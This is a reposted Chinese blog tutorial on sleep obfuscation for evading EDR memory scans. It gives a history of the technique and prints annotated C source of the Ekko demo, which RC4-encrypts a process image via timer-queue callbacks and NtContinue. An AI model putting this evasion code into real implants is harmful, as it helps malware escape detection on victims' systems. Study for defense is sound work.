文章总结: 本文深度解析了免杀对抗中的睡眠混淆技术,重点介绍了Ekko技术通过Windows定时器队列实现内存加密解密,避免了RX内存特征。文章从技术细节到代码实现,详细阐述了内存对抗的演进路径,为红队武器研发提供了可操作建议。 综合评分: 86 文章分类: 免杀,红队,内网渗透,安全工具,恶意软件
免杀对抗之睡眠混淆技术深度解析
原创
ybdt ybdt
卡卡罗特取西经
2026年8月2日 23:32 吉林
在小说阅读器读本章
去阅读
0x01 前言
免杀对抗已经从 文件对抗 到 行为对抗,现在演化到 内存对抗,内存对抗分为很多维度,比如内存类型是Private Memory、Mapped Memory还是Image Memory,内存中的数据是否包含已知的恶意代码,调用栈是否可疑等等,其中内存混淆是用来解决内存数据中包含已知的恶意代码
提到内存混淆技术,大家都会想到c5pider的ekko,其实ekko只是内存混淆技术发展史的一环
2021年,github @mgeeky提出了ShellcodeFluctuation技术,实现了内存睡眠时混淆,使用时解密,不过有一个缺点,至少要有一块RX内存来做这件事,做这件事的RX内存也就成了EDR的检测点
2022年,twitter @C5pider改进后提出了Ekko技术,创新性的通过CreateTimerQueueTimer,借助Windows内核实现内存的加密解密,完美规避需要一块RX内存这个特征
2022年,github @Idov31改进后提出了Cronos技术,Ekko使用的是CreateTimerQueueTimer,在EDR扫描定时器队列时易被检测到,于是改用WaitableTimer,再配合RC4加密,可以绕过针对Ekko定时器队列的检测
2022年,linkedin @Austin H.等人改进后提出了FOLIAGE技术,转变了思路改用APC,通过NtQueueApcThread + NtTestAlert实现ROP链,一度绕过大量基于定时器检测的EDR
2023年起,EDR厂商发现,检测重心是定时器或其他的ROP链,攻击者还会发明新的ROP链,于是转向另一个维度,“调用堆栈”,基于此,DreamWalkers、SilentMookwalk等技术相继被提出,实现了调用栈伪造和堆栈加密
其实,像ShellcodeFluctuation、Ekko、Cronos、FOLIAGE这类技术,属于睡眠期内存混淆技术,还有一类运行期内存混淆技术,可以实现用到哪个内存页,解密哪个内存页,最多保留3个内存页被解密,其余内存页均被加密,这样可以有效规避基于内存YARA特征的检测,比如Cobalt Strike的创造者Raphael Mudge提出的Page Streaming,不过执行效率会受到一定影响
更有甚者,实现了按指令解密,比如github @tijme提出的kong-loader,CPU每执行完一条指令,触发一次单步调试异常,VEH拦截到这个异常后,动态解密下一条指令,这样EDR每次只能看到一个指令,更加难以检测,不过这会导致运行效率低很多很多
也许免杀对抗演进的后面会用到运行时内存混淆技术,不过当前的实际攻防中,Beacon在99%的时间都是睡眠的,执行时间为毫秒级别,而且 睡眠期内存混淆技术 相对 运行期内存混淆技术 运行效率也更高,所以多数红队武器研发人员都会采用睡眠期内存加密技术,本文基于Ekko,将睡眠期内存加密技术讲清楚,从技术细节,到代码实现
0x02 技术细节
如果一块RX内存都不留,还要做加密解密操作,自身是无法实现的,就需要借助外界的进程(线程)来做这件事,这里借助的是Windows定时器队列(Windows Timer Queue)
想掌握技术细节,需要依次掌握下面几个概念
CONTEXT结构体
在 Windows 操作系统中,CONTEXT 结构体是一个极其核心的底层数据结构。它本质上是 CPU 寄存器在内存中的一份完整镜像。
当系统进行线程切换、发生异常(Exception),或者像 EKKO 技术这样进行线程劫持时,Windows 都会把当前 CPU 的所有寄存器状态(如当前执行到哪行代码、栈顶在哪里、通用寄存器里存了什么)打包存入一个 CONTEXT 结构体中。
由于不同的 CPU 架构(如 x86、x64、ARM)拥有完全不同的寄存器,因此 CONTEXT 结构体在不同的架构下原型是完全不同的。
下面重点展示 x64 (AMD64) 架构下的 CONTEXT 结构体原型,在 Windows SDK 的 WinNT.h 头文件中,x64 架构的 CONTEXT 完整定义如下(为了便于阅读,已省略部分对齐填充和不常用的调试寄存器)
typedef struct DECLSPEC_ALIGN(16) _CONTEXT { // 1. 控制标志:决定了当下这个结构体里哪些寄存器数据是有效的 DWORD ContextFlags; // 2. 调试寄存器 (Debug Registers) DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // 3. 段寄存器 (Segment Registers) WORD SegCs; WORD SegDs; WORD SegEs; WORD SegFs; WORD SegGs; WORD SegSs; DWORD EFlags; // 4. 通用寄存器 (整数寄存器 - Integer Registers) // EKKO 技术中重点伪造和利用的就是这一部分 DWORD64 Rax; DWORD64 Rcx; // EKKO 用来传参数 1 (如 ImageBase) DWORD64 Rdx; // EKKO 用来传参数 2 (如 ImageSize) DWORD64 Rbx; DWORD64 Rsp; // 栈指针寄存器:指向当前线程的栈顶 DWORD64 Rbp; DWORD64 Rsi; DWORD64 Rdi; DWORD64 R8; // EKKO 用来传参数 3 (如 PAGE_READWRITE) DWORD64 R9; // EKKO 用来传参数 4 (如 &OldProtect) DWORD64 R10; DWORD64 R11; DWORD64 R12; DWORD64 R13; DWORD64 R14; DWORD64 R15; // 5. 指令寄存器 (Instruction Pointer) // 指向当前 CPU 要执行的指令地址 DWORD64 Rip; // 6. 浮点与流式 SIMD 扩展寄存器 (Floating Point / MMX / SSE) union { XMM_SAVE_AREA32 FltSave; struct { M128A Header[2]; M128A Legacy[8]; M128A Xmm0; M128A Xmm1; ... M128A Xmm15; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; M128A VectorRegister[26]; DWORD64 VectorControl; // 7. 特殊控制寄存器 DWORD64 DebugControl; DWORD64 LastBranchToRip; DWORD64 LastBranchFromRip; DWORD64 LastExceptionToRip; DWORD64 LastExceptionFromRip;} CONTEXT, *PCONTEXT;
RtlCaptureContext
用于捕获当前CPU各寄存器的值到结构体CONTEXT中,包括RIP寄存器、RCX寄存器、RDX寄存器、R8寄存器、R9寄存器、等等,熟悉汇编的人会立刻想到,在x64系统中,RIP存储下一条要执行的指令,RCX、RDX、R8、R9分别存储前4个参数
NtContinue
用于读取结构体CONTEXT中的值,恢复到各个寄存器,其中就包括RIP寄存器,也就是说程序的执行流程会变为恢复后RIP指向的函数
SystemFunction032
使用Advapi32.dll中的未导出函数 SystemFunction032 实现加解密,它底层实现的是RC4加密算法,这是一种对称加密
CreateTimerQueueTimer
用于创建一个基于线程池的定时器,就是说,创建好定时器后,由Windows内核调用线程池中的线程来执行,不需要程序自身执行,也就对应最初的理念,一块RX内存都不需要实现内存的加密解密
BOOL CreateTimerQueueTimer( [out] PHANDLE phNewTimer, // 接收定时器句柄 [in, optional] HANDLE TimerQueue, // 定时器队列句柄 [in] WAITORTIMERCALLBACK Callback, // 回调函数指针 [in, optional] PVOID Parameter, // 回调函数参数 [in] DWORD DueTime, // 首次到期时间 (毫秒) [in] DWORD Period, // 后续周期 (毫秒) [in] ULONG Flags // 执行选项标志);
第1个参数是输出参数,接收这个API返回的句柄第2个参数,默认值为NULl,表示使用系统默认的定时器队列,但手动创建一个队列,可以避免和队列中的其他定时器冲突,更好一些第3个参数,定时器到期时,要执行的回调函数第4个参数,回调函数的参数第5个参数,定时器首次到期的时间,单位毫秒第6个参数,定时器执行周期,每隔多久执行一次,单位毫秒,设为0仅执行1次第7个参数,控制回调函数被执行的标志,可以先不管
0x03 代码实现
Ekko.h
#ifndef EKKO_EKKO_H#define EKKO_EKKO_H #include typedef struct{ DWORD Length; DWORD MaximumLength; PVOID Buffer;} USTRING ; VOID EkkoObf( DWORD SleepTime ); #endif
通过#ifndef实现头文件保护,功能类似#pragmaonce定义一个结构体,声明一个函数
Common.h
#ifndef EKKO_COMMON_H#define EKKO_COMMON_H #include#include #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 )#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) #endif
通过#ifndef实现头文件保护,功能类似#pragmaonce定义几个函数宏
Main.c
#include#include int main( ){ puts( ”[*] Ekko Sleep Obfuscation by C5pider” ); do // Start Sleep Obfuscation EkkoObf( 4 * 1000 ); while ( TRUE ); return 0;}
主函数
Ekko.c
代码被我稍微排版了下,方便阅读
#include#include VOID EkkoObf( DWORD SleepTime ){ // 初始化头文件中定义的结构体 // 定义加密密钥,存入结构体Key中 USTRING Key = { 0 }; CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; Key.Length = 16; Key.MaximumLength = 16; Key.Buffer = KeyBuf; // 初始化头文件中定义的结构体 // 获取当前进程在内存中的首地址及大小,存入结构体Img中 USTRING Img = { 0 }; PVOID ImageBase = NULL; DWORD ImageSize = 0; ImageBase = GetModuleHandleA( NULL ); ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; Img.Length = ImageSize; Img.MaximumLength = ImageSize; Img.Buffer = ImageBase; // 动态获取NtContinue和SystemFunction032的地址 // 有的同学可能会问,为什么后面的RtlCaptureContext不用动态获取,因为RtlCaptureContext相对更无害,允许它出现在PE导入表中 PVOID NtContinue = NULL; PVOID SysFunc032 = NULL; NtContinue = GetProcAddress( GetModuleHandleA( ”Ntdll” ), ”NtContinue” ); SysFunc032 = GetProcAddress( LoadLibraryA( ”Advapi32” ), ”SystemFunction032” ); // 存储当前CPU的寄存器状态 CONTEXT CtxThread = { 0 }; // 整个内存加密流程涉及:修改内存权限为RX、加密、解密、修改内存权限为RW,每个步骤需要一个函数执行,每个函数设置自己的CPU寄存器值,通过NtContinue恢复寄存器后执行 CONTEXT RopProtRW = { 0 }; CONTEXT RopMemEnc = { 0 }; CONTEXT RopDelay = { 0 }; CONTEXT RopMemDec = { 0 }; CONTEXT RopProtRX = { 0 }; CONTEXT RopSetEvt = { 0 }; // 调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread HANDLE hTimerQueue = NULL; HANDLE hNewTimer = NULL; HANDLE hEvent = NULL; DWORD OldProtect = 0; hEvent = CreateEventW( 0, 0, 0, 0 ); hTimerQueue = CreateTimerQueue(); if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) { // 调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获 WaitForSingleObject( hEvent, 0x32 ); // 同样的CtxThread拷贝6份 memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); // 第1份拷贝调用VirtualProtect // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = &OldProtect; // 第2份拷贝用于加密 // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = SysFunc032; RopMemEnc.Rcx = &Img; RopMemEnc.Rdx = &Key; // 将加密状态保持一段时间 // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = WaitForSingleObject; RopDelay.Rcx = NtCurrentProcess(); RopDelay.Rdx = SleepTime; // 解密 // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = SysFunc032; RopMemDec.Rcx = &Img; RopMemDec.Rdx = &Key; // 修改权限 // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = VirtualProtect; RopProtRX.Rcx = ImageBase; RopProtRX.Rdx = ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = &OldProtect; // 设置事件,触发WaitForSingleObject // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = SetEvent; RopSetEvt.Rcx = hEvent; puts( ”[INFO] Queue timers” ); // 线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行 CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); puts( ”[INFO] Wait for hEvent” ); WaitForSingleObject( hEvent, INFINITE ); puts( ”[INFO] Finished waiting for event” ); } DeleteTimerQueue( hTimerQueue );}
需要注意,上述代码并不是工程中可用的,仅为Demo代码
加密解密函数SystemFunction032需要的参数是结构体类型,首先对结构体进行初始化,要加密的内存首地址、内存大小、加密的密钥、密钥大小
通过GetProcAddress动态获取NtContinue和SystemFunction032的地址
调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread
调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获
同样的CtxThread拷贝6份,第1份拷贝修改权限为RW,第2份拷贝执行加密,第3份拷贝等待一会,第4份拷贝解密,第5份拷贝修改权限为RX,第6份拷贝设置事件触发WaitForSingleObject继续执行主线程
最终,线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行
0x04 尾语
本文并未深入到工程层面去讲解睡眠混淆技术,更多面向初学者如何搞懂睡眠混淆,其中也掺杂着自己的理解,如有错误之处,请指正,其他的睡眠期内存混淆技术根本上同理,仅调用的API、实现方式不同
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:卡卡罗特取西经 ybdt ybdt《免杀对抗之睡眠混淆技术深度解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论